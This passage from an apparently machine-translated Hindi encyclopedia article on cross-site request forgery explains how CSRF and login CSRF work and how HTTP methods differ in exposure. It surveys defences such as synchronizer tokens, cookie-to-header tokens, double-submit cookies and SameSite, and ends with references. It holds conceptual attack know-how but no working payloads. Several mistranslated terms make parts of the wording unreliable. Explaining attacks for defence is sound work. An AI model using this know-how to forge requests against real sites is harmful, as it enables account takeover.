स्थानीय uTorrent एप्लिकेशन पर अटैक के लिंक तक पहुँचने पर localhost:8080, ब्राउज़र हमेशा उस डोमेन के लिए किसी भी मौजूदा एचटीटीपी कुकीज़ को स्वचालित रूप से भेज देगा। वेब ब्राउज़र की यह सामान्य संपत्ति सीएसआरएफ अटैक्स को उनकी लक्षित कमजोरियों का लाभ उठाने और शत्रुतापूर्ण कार्यों को अंजाम देने में सक्षम बनाती है, जब तक कि उपयोगकर्ता अटैक के समय लक्ष्य वेबसाइट (इस उदाहरण में, स्थानीय uTorrent वेब इंटरफ़ेस) में लॉग इन है।
ऊपर वर्णित uTorrent उदाहरण में, अटैक को इस तथ्य से सुविधाजनक बनाया गया था कि uTorrent के वेब इंटरफ़ेस ने महत्वपूर्ण राज्य-परिवर्तन संचालन (क्रेडेंशियल बदलें, फ़ाइल डाउनलोड इत्यादि) के लिए जीईटी रिक्वेस्ट का उपयोग किया था, जो RFC 2616 स्पष्ट रूप से हतोत्साहित करता है:
In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe". This allows user agents to represent other methods, such as POST, PUT and DELETE, in a special way, so that the user is made aware of the fact that a possibly unsafe action is being requested.
इस धारणा के कारण, वेब ढाँचा में अनेक मौजूदा सीएसआरएफ रोकथाम तंत्र जीईटी अनुरोधों को कवर नहीं करेंगे, किन्तु केवल उन एचटीटीपी विधियों पर सुरक्षा लागू करेंगे जिनका उद्देश्य राज्य-परिवर्तन करना है।[11]
लॉगिन रिक्वेस्ट फोर्जिंग
एक अटैक्स, अटैक्स के क्रेडेंशियल्स का उपयोग करके पीड़ित को लक्षित वेबसाइट में लॉग इन करने का रिक्वेस्ट कर सकता है; इसे लॉगिन सीएसआरएफ के रूप में जाना जाता है। लॉगिन सीएसआरएफ विभिन्न नवीन अटैक्स को संभव बनाता है; उदाहरण के लिए, कोई अटैक्स बाद में अपनी वैध साख के साथ साइट पर लॉग इन कर सकता है और खाते में सहेजी गई गतिविधि इतिहास जैसी निजी जानकारी देख सकता है। यह अटैक Google के विरुद्ध प्रदर्शित किया गया है[12] और याहू.[13]
एचटीटीपी क्रियाएं और सीएसआरएफ
प्रकार के आधार पर, हाइपरटेक्स्ट परहस्त शिष्टाचार हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल या रिक्वेस्ट विधियां सीएसआरएफ अटैक्स के प्रति उनकी संवेदनशीलता में भिन्न होती हैं (वेब ब्राउज़र द्वारा उनके प्रबंधन में अंतर के कारण)। इसलिए, किसी अटैक के अधीन सुरक्षात्मक उपाय एचटीटीपी रिक्वेस्ट की विधि पर निर्भर करते हैं।
- एचटीटीपी जीईटी में सीएसआरएफ शोषण ऊपर वर्णित विधियों का उपयोग करके तुच्छ है, जैसे कि सरल हाइपरलिंक जिसमें परिवर्तन किए गए पैरामीटर होते हैं और स्वचालित रूप से एचटीएमएल तत्व या इमेज और ऑब्जेक्ट द्वारा लोड किया जाता है। चूंकि, एचटीटीपी विनिर्देशन के अनुसार, जीईटी को हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल या सुरक्षित विधियों के रूप में उपयोग किया जाना चाहिए, अर्थात, एप्लिकेशन में उपयोगकर्ता की स्थिति को महत्वपूर्ण रूप से नहीं परिवर्तन करना चाहिए। ऐसे परिचालनों के लिए जीईटी का उपयोग करने वाले एप्लिकेशनों को एचटीटीपी पोस्ट पर स्विच करना चाहिए या एंटी-सीएसआरएफ सुरक्षा का उपयोग करना चाहिए।
- सीएसआरएफ के लिए एचटीटीपी पोस्ट भेद्यता उपयोग परिदृश्य पर निर्भर करती है:
- क्वेरी स्ट्रिंग के रूप में एन्कोड किए गए डेटा के साथ पोस्ट के सरलतम रूप में (
field1=value1&field2=value2) सीएसआरएफ अटैक को सरल फॉर्म (एचटीएमएल) का उपयोग करके आसानी से लागू किया जाता है और सीएसआरएफ विरोधी उपायों को लागू किया जाना चाहिए। - यदि डेटा किसी अन्य प्रारूप (जेएसओएन, एक्सएमएल) में भेजा जाता है, तो समान-मूल नीति (एसओपी) और क्रॉस-मूल संसाधन साझाकरण (सीओआरएस ) द्वारा रोके गए सीएसआरएफ अटैक्स के साथ एक्सएमएलHttpRequests का उपयोग करके पोस्ट रिक्वेस्ट जारी करना मानक विधि है; सरल फॉर्म (एचटीएमएल) का उपयोग करके मनमानी सामग्री भेजने की तकनीक है
ENCTYPEगुण; ऐसे नकली रिक्वेस्ट को वैध अनुरोधों से अलग किया जा सकता हैtext/plainसामग्री प्रकार, किन्तु यदि इसे सर्वर पर लागू नहीं किया जाता है, तो सीएसआरएफ निष्पादित किया जा सकता है[14][15]
- क्वेरी स्ट्रिंग के रूप में एन्कोड किए गए डेटा के साथ पोस्ट के सरलतम रूप में (
- अन्य एचटीटीपी विधियां (पुट, डिलीट आदि) केवल सीएसआरएफ को रोकने वाली समान-मूल नीति (एसओपी) और क्रॉस-मूल संसाधन साझाकरण (सीओआरएस ) के साथ एक्सएमएलHttpRequests का उपयोग करके जारी की जा सकती हैं; चूंकि ये उपाय उन वेबसाइटों पर सक्रिय नहीं होंगे जो स्पष्ट रूप से इनका उपयोग अक्षम करते हैं
Access-Control-Allow-Origin: *हैडर
सीएसआरएफ के लिए अन्य दृष्टिकोण
इसके अतिरिक्त, जबकि आम तौर पर स्थिर प्रकार के अटैक के रूप में वर्णित किया जाता है, सीएसआरएफ को क्रॉस-साइट स्क्रिप्टिंग अटैक के लिए पेलोड के हिस्से के रूप में गतिशील रूप से भी बनाया जा सकता है, जैसा कि सैमी (एक्सएसएस) वर्म द्वारा प्रदर्शित किया गया है, या लीक हुई सेशन जानकारी से फ्लाई पर बनाया गया है। ऑफसाइट सामग्री के माध्यम से और मालिसियस यूआरएल के रूप में लक्ष्य को भेजा गया। सेशन निर्धारण या अन्य कमजोरियों के कारण किसी अटैक्स द्वारा सीएसआरएफ टोकन भी क्लाइंट को भेजे जा सकते हैं, या क्रूर-बल अटैक के माध्यम से अनुमान लगाया जा सकता है, जो मालिसियस पृष्ठ पर प्रस्तुत किया जाता है जो हजारों असफल रिक्वेस्ट उत्पन्न करता है। डायनामिक सीएसआरएफ के आक्रमण वर्ग, या सेशन-विशिष्ट जालसाजी के लिए प्रति-ग्राहक पेलोड का उपयोग करने का वर्णन किया गया था[16] 2009 में ब्लैकहैट ब्रीफिंग में नाथन हैमील और शॉन मोयर द्वारा,[17] चूंकि वर्गीकरण को अभी भी व्यापक रूप से अपनाया जाना बाकी है।
जनवरी 2012 में स्थानीय OWASP अध्याय की बैठक में ओरेन ओफ़र द्वारा गतिशील सीएसआरएफ अटैक्स की रचना के लिए नया वेक्टर प्रस्तुत किया गया था - एजेएएक्स हैमर - डायनेमिक सीएसआरएफ।[18][19]
प्रभाव
सीएसआरएफ टोकन कमजोरियों के लिए गंभीरता मेट्रिक्स जारी किए गए हैं जिसके परिणामस्वरूप रूट विशेषाधिकारों के साथ रिमोट कोड निष्पादन होता है[20] साथ ही भेद्यता जो रूट प्रमाणपत्र से समझौता कर सकती है, जो सार्वजनिक कुंजी बुनियादी ढांचे को पूरी तरह से कमजोर कर देगी।[21]
सीमाएँ
क्रॉस-साइट रिक्वेस्ट जालसाजी के सफल होने के लिए अनेक चीजें होनी चाहिए:
- अटैक्स को या तो ऐसी साइट को निशाना बनाना चाहिए जो एचटीटीपी रेफरर की जांच नहीं करती है या किसी ऐसे ब्राउज़र या प्लगइन वाले पीड़ित को निशाना बनाना चाहिए जो रेफरर स्पूफ़िंग की अनुमति देता है।[22]
- अटैक्स को लक्ष्य साइट पर फ़ॉर्म सबमिशन, या यूआरएल ढूंढना होगा जिसके दुष्प्रभाव हों, जो कुछ करता हो (उदाहरण के लिए, पैसे ट्रांसफर करता है, या पीड़ित का ई-मेल पता या पासवर्ड बदलता है)।
- अटैक्स को सभी फॉर्म या यूआरएल इनपुट के लिए सही मान निर्धारित करना होगा; यदि उनमें से किसी को भी गुप्त प्रमाणीकरण मान या आईडी की आवश्यकता होती है जिसका अटैक्स अनुमान नहीं लगा सकता है, तो अटैक संभवतः विफल हो जाएगा (जब तक कि अटैक्स अपने अनुमान में बेहद भाग्यशाली न हो)।
- जब पीड़ित लक्ष्य साइट पर लॉग इन हो तो अटैक्स को पीड़ित को मालिसियस कोड वाले वेब पेज पर लुभाना चाहिए।
हमला अंधा है: अटैक्स यह नहीं देख सकता कि जाली अनुरोधों के जवाब में लक्ष्य वेबसाइट पीड़ित को क्या भेजती है, जब तक कि वे लक्ष्य वेबसाइट पर क्रॉस-साइट स्क्रिप्टिंग या अन्य बग का लाभ नहीं उठाते। इसी तरह, अटैक्स केवल किसी भी लिंक को लक्षित कर सकता है या प्रारंभिक जाली रिक्वेस्ट के बाद आने वाले किसी भी फॉर्म को सबमिट कर सकता है यदि वे बाद के लिंक या फॉर्म समान रूप से पूर्वानुमानित हों। (एक पृष्ठ पर अनेक छवियों को सम्मिलित करके, या क्लिकों के बीच देरी प्रारंभ करने के लिए जावास्क्रिप्ट का उपयोग करके अनेक लक्ष्यों का अनुकरण किया जा सकता है।)[23]
रोकथाम
अधिकांश सीएसआरएफ रोकथाम तकनीकें अनुरोधों में अतिरिक्त प्रमाणीकरण डेटा एम्बेड करके काम करती हैं जो वेब एप्लिकेशन को अनधिकृत स्थानों से अनुरोधों का पता लगाने की अनुमति देती है।
सिंक्रोनाइज़र टोकन पैटर्न
सिंक्रोनाइज़र टोकन पैटर्न (एसटीपी) ऐसी तकनीक है जहां टोकन, प्रत्येक रिक्वेस्ट के लिए गुप्त और अद्वितीय मान, सभी एचटीएमएल रूपों में वेब एप्लिकेशन द्वारा एम्बेड किया जाता है और सर्वर साइड पर सत्यापित किया जाता है। टोकन किसी भी विधि से उत्पन्न किया जा सकता है जो अप्रत्याशितता और विशिष्टता सुनिश्चित करता है (उदाहरण के लिए यादृच्छिक बीज की हैश श्रृंखला का उपयोग करना)। इस प्रकार अटैक्स अपने अनुरोधों को प्रमाणित करने के लिए उनमें सही टोकन डालने में असमर्थ है।[1][24][25]
एचटीएमएल फॉर्म में जैंगो (वेब फ्रेमवर्क) द्वारा निर्धारित STP का उदाहरण:
<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />
एसटीपी सबसे अधिक संगत है क्योंकि यह केवल एचटीएमएल पर निर्भर करता है, किन्तु प्रत्येक रिक्वेस्ट पर टोकन की वैधता की जांच से जुड़े बोझ के कारण सर्वर साइड पर कुछ जटिलताएं पेश करता है। चूंकि टोकन अद्वितीय और अप्रत्याशित है, यह घटनाओं के उचित अनुक्रम को भी लागू करता है (उदाहरण के लिए स्क्रीन 1, फिर 2, फिर 3) जो प्रयोज्य समस्या को जन्म देता है (उदाहरण के लिए उपयोगकर्ता अनेक टैब खोलता है)। प्रति रिक्वेस्ट सीएसआरएफ टोकन के बजाय प्रति सेशन सीएसआरएफ टोकन का उपयोग करके इसमें छूट दी जा सकती है।
कुकी-टू-हेडर टोकन
वेब एप्लिकेशन जो अपने अधिकांश कार्यों के लिए जावास्क्रिप्ट का उपयोग करते हैं, वे निम्नलिखित एंटी-सीएसआरएफ तकनीक का उपयोग कर सकते हैं:
- किसी संबद्ध सर्वर सेशन के बिना प्रारंभिक विज़िट पर, वेब एप्लिकेशन कुकी सेट करता है। कुकी में आम तौर पर यादृच्छिक टोकन होता है जो वेब सेशन के जीवनकाल तक समान रह सकता है
सेट-कुकी: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; समाप्ति=गुरु, 23-जुलाई-2015 10:25:33 जीएमटी; अधिकतम आयु=31449600; पथ=/; सेमसाइट=लैक्स; सुरक्षित
- क्लाइंट साइड पर काम करने वाला जावास्क्रिप्ट इसके मूल्य को पढ़ता है और इसे प्रत्येक लेनदेन रिक्वेस्ट के साथ भेजे गए कस्टम एचटीटीपी हेडर में कॉपी करता है
X-Csrf-टोकन: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
- सर्वर टोकन की उपस्थिति और अखंडता को मान्य करता है
इस तकनीक की सुरक्षा इस धारणा पर आधारित है कि केवल सर्वर पर एचटीटीपीएस कनेक्शन के क्लाइंट साइड पर चलने वाली जावास्क्रिप्ट जो प्रारंभ में कुकी सेट करती है, कुकी के मूल्य को पढ़ने में सक्षम होगी। किसी दुष्ट फ़ाइल या ईमेल से चलने वाली जावास्क्रिप्ट कस्टम हेडर में कॉपी करने के लिए कुकी मान को सफलतापूर्वक पढ़ने में सक्षम नहीं होनी चाहिए। यहां तक कि भले ही csrf-token कुकी स्वचालित रूप से दुष्ट रिक्वेस्ट के साथ भेजी जा सकती है, कुकी सेमसाइट नीति के अधीन, सर्वर अभी भी वैध की अपेक्षा करेगा X-Csrf-Token शीर्ष लेख.
सीएसआरएफ टोकन स्वयं अद्वितीय और अप्रत्याशित होना चाहिए। इसे यादृच्छिक रूप से उत्पन्न किया जा सकता है, या इसे HMAC का उपयोग करके सेशन कुकी से प्राप्त किया जा सकता है:
सीएसआरएफ_टोकन = एचएमएसी(सेशन_टोकन, एप्लिकेशन_सीक्रेट)
सीएसआरएफ टोकन कुकी में httpOnly फ़्लैग नहीं होना चाहिए, क्योंकि इसे डिज़ाइन द्वारा जावास्क्रिप्ट द्वारा पढ़ने का इरादा है।
यह तकनीक अनेक आधुनिक ढाँचों द्वारा कार्यान्वित की जाती है, जैसे जैंगो (वेब ढाँचा)[26] और AngularJS.[27] क्योंकि टोकन पूरे उपयोगकर्ता सेशन में स्थिर रहता है, यह एजेएएक्स एप्लिकेशनों के साथ अच्छी तरह से काम करता है, किन्तु वेब एप्लिकेशन में घटनाओं के अनुक्रम को लागू नहीं करता है।
यदि लक्ष्य वेबसाइट निम्नलिखित तकनीकों में से किसी का उपयोग करके अपनी समान-मूल नीति को अक्षम कर देती है, तो इस तकनीक द्वारा प्रदान की गई सुरक्षा को विफल किया जा सकता है:
- clientaccesspolicy.xml सिल्वरलाइट नियंत्रणों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल[28]
- crossdomain.xml फ्लैश फिल्मों तक अनपेक्षित पहुंच प्रदान करने वाली फ़ाइल[29]
डबल सबमिट कुकी
कुकी-टू-हेडर दृष्टिकोण के समान, किन्तु जावास्क्रिप्ट को सम्मिलित किए बिना, साइट सीएसआरएफ टोकन को कुकी के रूप में सेट कर सकती है, और इसे प्रत्येक एचटीएमएल फॉर्म में छिपे हुए फ़ील्ड के रूप में भी डाल सकती है। जब फॉर्म सबमिट किया जाता है, तो साइट जांच कर सकती है कि कुकी टोकन फॉर्म टोकन से मेल खाता है या नहीं। समान-मूल नीति किसी अटैक्स को लक्ष्य डोमेन पर कुकीज़ पढ़ने या सेट करने से रोकती है, इसलिए वे अपने तैयार किए गए फॉर्म में वैध टोकन नहीं डाल सकते हैं।[30]
सिंक्रोनाइज़र पैटर्न की तुलना में इस तकनीक का लाभ यह है कि टोकन को सर्वर पर संग्रहीत करने की आवश्यकता नहीं होती है।
समान साइट कुकी विशेषता
जब सर्वर कुकी सेट करता है, तो अतिरिक्त सेमसाइट विशेषता सम्मिलित की जा सकती है, जो ब्राउज़र को निर्देश देती है कि कुकी को क्रॉस-साइट अनुरोधों में संलग्न किया जाए या नहीं। यदि यह विशेषता सख्त पर सेट है, तो कुकी केवल उसी साइट अनुरोधों पर भेजी जाएगी, जिससे सीएसआरएफ अप्रभावी हो जाएगा। चूंकि, इसके लिए ब्राउज़र को विशेषता को पहचानने और सही ढंग से लागू करने की आवश्यकता होती है।[31]
ग्राहक-पक्ष सुरक्षा उपाय
ब्राउज़र एक्सटेंशन जैसे RequestPolicy (मोज़िला फ़ायरफ़ॉक्स के लिए) या uMatrix (फ़ायरफ़ॉक्स और Google क्रोम/क्रोमियम (वेब ब्राउज़र) दोनों के लिए) क्रॉस-साइट अनुरोधों के लिए डिफ़ॉल्ट-अस्वीकार नीति प्रदान करके सीएसआरएफ को रोक सकता है। चूंकि, यह अनेक वेबसाइटों के सामान्य संचालन में महत्वपूर्ण हस्तक्षेप कर सकता है। CsFire एक्सटेंशन (फ़ायरफ़ॉक्स के लिए भी) क्रॉस-साइट अनुरोधों से प्रमाणीकरण जानकारी को हटाकर, सामान्य ब्राउज़िंग पर कम प्रभाव के साथ सीएसआरएफ के प्रभाव को कम कर सकता है।
फ़ायरफ़ॉक्स के लिए नोस्क्रिप्ट एक्सटेंशन अविश्वसनीय साइटों से विश्वसनीय को अलग करके और अविश्वसनीय साइटों द्वारा विश्वसनीय लोगों को भेजे गए पोस्ट अनुरोधों से प्रमाणीकरण और पेलोड को हटाकर सीएसआरएफ खतरों को कम करता है। नोस्क्रिप्ट में एप्लिकेशन बाउंड्री एनफोर्सर मॉड्यूल इंटरनेट पेजों से स्थानीय साइटों (जैसे लोकलहोस्ट) पर भेजे गए अनुरोधों को भी ब्लॉक करता है, जिससे स्थानीय सेवाओं (जैसे यूटोरेंट) या राउटर पर सीएसआरएफ के अटैक्स को रोका जा सकता है।
फ़ायरफ़ॉक्स के लिए सेल्फ डिस्ट्रक्टिंग कुकीज़ एक्सटेंशन सीधे सीएसआरएफ से रक्षा नहीं करता है, किन्तु कुकीज़ को हटाकर, जैसे ही वे खुले टैब से संबद्ध नहीं होते हैं, अटैक की विंडो को कम कर सकता है।
अन्य तकनीकें
ऐतिहासिक रूप से सीएसआरएफ की रोकथाम के लिए अनेक अन्य तकनीकों का उपयोग या प्रस्ताव किया गया है:
- यह सत्यापित करना कि रिक्वेस्ट के शीर्षलेखों में सम्मिलित है
X-Requested-With(v2.0 से पहले रूबी ऑन रेल्स द्वारा और v1.2.5 से पहले जैंगो (वेब फ्रेमवर्क) द्वारा उपयोग किया जाता है), या एचटीटीपी की जाँच कर रहा हैRefererहेडर और/या एचटीटीपीOriginशीर्षक.[32] चूंकि, यह असुरक्षित है - ब्राउज़र प्लगइन्स और रीडायरेक्ट का संयोजन अटैक्स को किसी भी वेबसाइट के रिक्वेस्ट पर कस्टम एचटीटीपी हेडर प्रदान करने की अनुमति दे सकता है, जिससे जाली रिक्वेस्ट की अनुमति मिलती है।[33][34] - एचटीटीपी रेफरर एचटीटीपी की जाँच करना
Refererहेडर यह देखने के लिए कि क्या रिक्वेस्ट किसी अधिकृत पृष्ठ से आ रहा है, आमतौर पर एम्बेडेड नेटवर्क उपकरणों के लिए उपयोग किया जाता है क्योंकि यह मेमोरी आवश्यकताओं को नहीं बढ़ाता है। चूंकि, रिक्वेस्ट जो इसे छोड़ देता हैRefererहेडर को अनधिकृत माना जाना चाहिए क्योंकि कोई अटैक्स इसे दबा सकता हैRefererएफ़टीपी या एचटीटीपीएस यूआरएल से रिक्वेस्ट जारी करके हेडर। यह सख्तRefererसत्यापन उन ब्राउज़रों या प्रॉक्सी के साथ समस्याएँ पैदा कर सकता है जो इसे छोड़ देते हैंRefererगोपनीयता कारणों से शीर्षलेख. साथ ही, फ़्लैश के पुराने संस्करण (9.0.18 से पहले) मालिसियस फ़्लैश को एचटीटीपी प्रतिक्रिया विभाजन का उपयोग करके मनमाने ढंग से एचटीटीपी रिक्वेस्ट हेडर के साथ जीईटी या पोस्ट रिक्वेस्ट उत्पन्न करने की अनुमति देते हैं।[35] क्लाइंट में समान सीआरएलएफ इंजेक्शन कमजोरियों का उपयोग एचटीटीपी रिक्वेस्ट के रेफरर को धोखा देने के लिए किया जा सकता है। - कुछ समय के लिए पोस्ट रिक्वेस्ट विधि को यूआरएल में पैरामीटर (जीईटी विधि का उपयोग करके) का उपयोग करके मामूली सीएसआरएफ अटैक्स के प्रति प्रतिरोधी माना जाता था। चूंकि, पोस्ट और किसी अन्य एचटीटीपी विधि दोनों को अब एक्सएमएलHttpRequests का उपयोग करके आसानी से निष्पादित किया जा सकता है। अप्रत्याशित जीईटी अनुरोधों को फ़िल्टर करना अभी भी कुछ विशेष अटैक्स को रोकता है, जैसे मालिसियस छवि यूआरएल या लिंक पते का उपयोग करके क्रॉस-साइट अटैक और क्रॉस-साइट सूचना लीकेज
<script>तत्व (जावास्क्रिप्ट अपहरण); यह आक्रामक वेब क्रॉलर और लिंक प्रीफेचिंग के साथ (गैर-सुरक्षा-संबंधी) समस्याओं को भी रोकता है।[1]
क्रॉस-साइट स्क्रिप्टिंग (एक्सएसएस ) निर्बलता (यहां तक कि ही डोमेन पर चलने वाले अन्य एप्लिकेशनों में भी) अटैक्सों को अनिवार्य रूप से सभी सीएसआरएफ रोकथामों को बायपास करने की अनुमति देती हैं।[36]
यह भी देखें
- उल्लंघन
- भ्रमित डिप्टी समस्या
- अपराध
- वेब मैसेजिंग
- ढेर छिड़काव
- अटैक को फिर से खेलना
- सेशन निर्धारण
- एप्लिकेशन सुरक्षा
संदर्भ
- ↑ 1.0 1.1 1.2 1.3 1.4 Shiflett, Chris (December 13, 2004). "Security Corner: Cross-Site Request Forgeries". php|architect (via shiflett.org). Retrieved 2008-07-03.
- ↑ 2.0 2.1 Ristic, Ivan (2005). अपाचे सुरक्षा. O'Reilly Media. p. 280. ISBN 0-596-00724-8.
- ↑ "What is Cross-Site Request Forgery (CSRF) and How Does It Work? | Synopsys".
- ↑ "What is CSRF (Cross-site request forgery)? Tutorial & Examples". portswigger.net. Retrieved 2019-11-04.
- ↑ Burns, Jesse (2005). "Cross Site Request Forgery: An Introduction To A Common Web Weakness" (PDF). Information Security Partners, LLC. Retrieved 2011-12-12.
- ↑ Christey, Steve; Martin, Robert A. (May 22, 2007). "सीवीई में भेद्यता प्रकार वितरण (संस्करण 1.1)". MITRE Corporation. Retrieved 2008-06-07.
- ↑ Washkuch Jr., Frank (October 17, 2006). "नेटफ्लिक्स ने क्रॉस-साइट अनुरोध जालसाजी छेद को ठीक किया". SC Magazine. Retrieved 2019-02-11.
- ↑ 8.0 8.1 William Zeller; Edward W. Felten (October 2008). "Cross-Site Request Forgeries: Exploitation and Prevention" (PDF). Retrieved 29 May 2015.
- ↑ Mike, Bailey (2009). "CSRF: Yeah, It Still Works…" (PDF). DEFCON.
- ↑ "Security Advisory: CSRF & DNS/DHCP/Web Attacks". Draytek. May 2018. Retrieved 18 May 2018.
- ↑ "Cross Site Request Forgery protection | Django documentation | Django". docs.djangoproject.com. Retrieved 2015-08-21.
- ↑ Adam Barth, Collin Jackson, and John C. Mitchell, Robust Defenses for Cross-Site Request Forgery, Proceedings of the 15th ACM Conference on Computer and Communications Security, ACM 2008
- ↑ Joseph Foulds, Passive monitoring login request forgery, Yahoo Archived 2014-12-22 at the Wayback Machine
- ↑ "XML निकाय के साथ पोस्ट अनुरोधों के लिए क्रॉस-साइट अनुरोध जालसाजी". pentestmonkey. Retrieved September 4, 2015.
- ↑ Sheeraj Shah (2008). "Web 2.0 Hacking Defending Ajax & Web Services" (PDF). HITB. Retrieved September 4, 2015.
- ↑ "Security Fix - Weaponizing Web 2.0".
- ↑ Dynamic CSRF Archived 2010-02-13 at the Wayback Machine
- ↑ Owasp.org: Israel 2012/01: AJAX Hammer – Harnessing AJAX for CSRF Attacks
- ↑ Downloads – hasc-research – hasc-research – Google Project Hosting. Code.google.com (2013-06-17). Retrieved on 2014-04-12.
- ↑ "Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities".
- ↑ "Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF)".
- ↑ "उन्नत क्रॉस-साइट हमले की रोकथाम". Espacenet. European Patent Office. Retrieved 21 November 2019.
- ↑ "CSRF: Cross-site request forgery attacks explained". IONOS Digitalguide (in English). Retrieved 2022-04-26.
- ↑ "क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ) रोकथाम धोखा शीट". OWASP. Retrieved 2019-07-19.
- ↑ "Valhalla Articles - Cross-Site Request Forgery: Demystified".
- ↑ "क्रॉस साइट अनुरोध जालसाजी संरक्षण". Django. Archived from the original on 2015-01-20. Retrieved 2015-01-20.
- ↑ "क्रॉस साइट अनुरोध जालसाजी (XSRF) सुरक्षा". AngularJS. Retrieved 2015-01-20.
- ↑ "Making a Service Available Across Domain Boundaries".
- ↑ Adamski, Lucas. "फ़्लैश प्लेयर के लिए क्रॉस-डोमेन नीति फ़ाइल उपयोग अनुशंसाएँ - एडोब डेवलपर कनेक्शन".
- ↑ "डबल सबमिट कुकी रक्षा". OWASP.
- ↑ "सेमसाइट कुकीज़". Mozilla.
- ↑ Origin Header Proposal Archived 2016-03-08 at the Wayback Machine. People.mozilla.org. Retrieved on 2013-07-29.
- ↑ "Django 1.2.5 release notes". Django.
- ↑ "क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ)". OWASP, The Open Web Application Security Project. 4 September 2012. Retrieved 11 September 2012.
- ↑ "Secunia Advisory SA22467". Secunia. 19 October 2006. Retrieved 11 September 2012.
- ↑ Schneider, Christian. "सीएसआरएफ और समान-मूल XSS". Archived from the original on 2012-08-14. Retrieved 2012-04-21.
